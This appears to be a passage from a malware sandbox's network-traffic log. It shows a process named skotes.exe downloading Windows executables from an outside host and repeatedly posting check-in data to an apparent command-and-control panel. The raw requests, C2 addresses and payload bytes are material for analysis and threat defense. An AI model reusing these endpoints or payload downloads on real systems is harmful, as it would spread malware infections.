Nov 22, 2024 04:12:49.387450933 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:12:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49867	185.215.113.16	80	7816	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:12:49.712356091 CET	54	OUT	GET /off/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 22, 2024 04:12:51.086816072 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:12:50 GMT Content-Type: application/octet-stream Content-Length: 2721792 Last-Modified: Fri, 22 Nov 2024 03:06:52 GMT Connection: keep-alive ETag: "673ff54c-298800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 00 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 2a 00 00 04 00 00 05 bd 29 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$* `@ @)`Ui` @ @.rsrc`2@.idata 8@mjddytxu@)():@vefxxbiz )b)@.taggant@"f)@
Nov 22, 2024 04:12:51.086986065 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 22, 2024 04:12:51.086997986 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 22, 2024 04:12:51.087008953 CET	672	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 22, 2024 04:12:51.087021112 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 22, 2024 04:12:51.087033033 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 22, 2024 04:12:51.087044001 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 22, 2024 04:12:51.087055922 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 22, 2024 04:12:51.087065935 CET	1236	IN	Data Raw: 4c d0 1a 29 85 25 bb dd 42 43 8d 25 35 36 f2 0d 7a 25 b6 bd a2 5a 64 de 42 43 8d b7 33 42 f2 dd 75 25 18 5d 13 76 71 55 e4 02 11 c6 d5 4b 90 7b 34 3e 3f df 92 25 a8 55 e0 94 16 8f 9a 3f 8b 8a 3d 68 0c 5e 55 57 8c 05 15 5c 1a 04 74 48 71 d1 63 2a Data Ascii: L)%BC%56z%ZdBC3Bu%]vqUK{4>?%U?=h^UW\tHqc*Ss#e&3bOv_8WZvH,?tQ_`&(+Vt9c>}5J><A{1:AG~lGH$&5:$,95%:@b?xnXA"U@D6
Nov 22, 2024 04:12:51.087075949 CET	1236	IN	Data Raw: 0b 40 b8 48 f0 52 5f 57 cc f2 1e 70 6b eb 94 39 9c f4 04 50 c4 64 02 8a 8a f3 1d 2f 4d 8a 4d 00 3c a0 c0 cd 40 18 5b f8 44 a6 dc 6d 1e 1f f6 90 93 c4 4b 15 7b cf f4 8e 53 23 a7 66 4d ec a6 e3 51 9b c9 93 4d b7 06 cb f1 e6 24 0c 2b a6 4b 5d 81 9b Data Ascii: @HR_Wpk9Pd/MM<@[DmK{S#fMQM$+K]eW?WYbI]<*CjMDASTN?RT}FJKUMW)~FvXe<f82<`"=bZG8j>hzcc`?7ed+!eojh\|eZ_d@
Nov 22, 2024 04:12:51.206825018 CET	1236	IN	Data Raw: 83 ac 1f c5 c5 4c 8a 6b 89 0c 2a 7a 78 2c 2d 5b 24 db 77 bf 73 30 37 47 86 15 ef ce 51 ec f0 be 49 13 5f 58 67 f8 e1 1a 1d 01 03 74 7a 65 8d 19 88 4a 3a 3e 5e 07 58 17 1b e8 4d 14 cd 7d a1 74 25 77 da fb 65 e1 d4 46 c5 b8 ff 3c 85 04 6e 41 5f f8 Data Ascii: Lk*zx,-[$ws07GQI_XgtzeJ:>^XM}t%weF<nA_>O]q}rf{jQ)sRRQarKgC_C^+rY"+WSk?#[(s1cr[%b\#ky! ^~5J/m;^,`%;xSWmy~9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49902	185.215.113.43	80	7816	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:12:58.414380074 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 38 30 39 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008094001&unit=246122658369
Nov 22, 2024 04:12:59.785147905 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:12:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49910	34.107.221.82	80	416	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:13:00.248680115 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 22, 2024 04:13:01.419115067 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 21 Nov 2024 08:22:36 GMT Age: 67825 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 22, 2024 04:13:11.596750975 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 22, 2024 04:13:21.784286022 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49915	185.215.113.43	80	7816	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:13:01.522602081 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 22, 2024 04:13:02.854011059 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:13:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49931	185.215.113.43	80	7816	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:13:04.482575893 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 22, 2024 04:13:05.919543982 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:13:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49939	185.215.113.43	80	7816	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:13:08.032490015 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 22, 2024 04:13:09.454999924 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:13:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49949	185.215.113.43	80	7816	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:13:11.079608917 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 22, 2024 04:13:12.521003008 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:13:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49959	185.215.113.43	80	7816	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:13:14.268460035 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 22, 2024 04:13:15.608127117 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:13:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49967	185.215.113.43	80	7816	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:13:17.235625982 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 22, 2024 04:13:18.627928019 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:13:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49980	185.215.113.43	80	7816	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:13:20.379252911 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 22, 2024 04:13:21.811918974 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:13:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49981	185.215.113.16	80	5572	C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:13:20.652472973 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 22, 2024 04:13:22.066133976 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:13:21 GMT Content-Type: application/octet-stream Content-Length: 2721792 Last-Modified: Fri, 22 Nov 2024 03:06:55 GMT Connection: keep-alive ETag: "673ff54f-298800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 00 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 2a 00 00 04 00 00 05 bd 29 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$* `@ @)`Ui` @ @.rsrc`2@.idata 8@mjddytxu@)():@vefxxbiz )b)@.taggant@"f)@
Nov 22, 2024 04:13:22.066206932 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 22, 2024 04:13:22.066421986 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 22, 2024 04:13:22.066495895 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 22, 2024 04:13:22.066520929 CET	248	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 22, 2024 04:13:22.066824913 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 22, 2024 04:13:22.066854954 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 22, 2024 04:13:22.066868067 CET	248	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 22, 2024 04:13:22.067272902 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 22, 2024 04:13:22.067394972 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 22, 2024 04:13:22.186089039 CET	1236	IN	Data Raw: 13 83 56 6c 1f 45 14 3b 7b e5 41 62 5a 54 0a 47 31 b5 1f 53 3e 28 5e 70 b1 62 bf 56 6b f2 92 9c 60 37 29 5e be 57 fe b9 77 51 d7 42 87 5c fe 4c 3e 35 0d 52 4c d0 1a 29 85 25 bb dd 42 43 8d 25 35 36 f2 0d 7a 25 b6 bd a2 5a 64 de 42 43 8d b7 33 42 Data Ascii: VlE;{AbZTG1S>(^pbVk`7)^WwQB\L>5RL)%BC%56z%ZdBC3Bu%]vqUK{4>?%U?=h^UW\tHqc*Ss#e&3bOv_8WZvH,?tQ_`&(+Vt9c>}5J><A{1:AG~lG

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49990	185.215.113.43	80	7816	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:13:23.438127041 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 22, 2024 04:13:24.817862988 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:13:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	50000	185.215.113.43	80	7816	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:13:26.567189932 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 22, 2024 04:13:28.038820982 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:13:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	50013	185.215.113.43	80	7816	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:13:29.694883108 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
